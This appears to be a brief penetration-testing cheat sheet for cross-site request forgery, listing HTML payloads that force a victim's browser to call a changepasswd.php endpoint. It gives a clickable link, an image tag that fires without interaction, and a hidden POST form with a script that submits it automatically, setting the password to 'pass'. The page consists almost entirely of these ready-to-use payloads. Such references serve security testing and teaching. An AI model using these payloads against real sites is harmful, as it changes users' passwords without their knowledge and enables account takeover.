CSRF (Cross Site Request Forgery)
Payloads
GET
<!-- Requires user interaction -->
<a href="http://10.10.10.10/changepasswd.php?pass=pass">Click Me</a>
<!-- No user interaction required -->
<img src="http://10.10.10.10/changepasswd.php?pass=pass">
POST
<form id="form" action="http://<host>/changepasswd.php" method="POST">
<input name="pass" type="hidden" value="pass" />
<input type="submit" value="Submit" />
</form>
<!-- Auto submit -->
<script>
document.getElementById("form").submit();
</script>
References
Last updated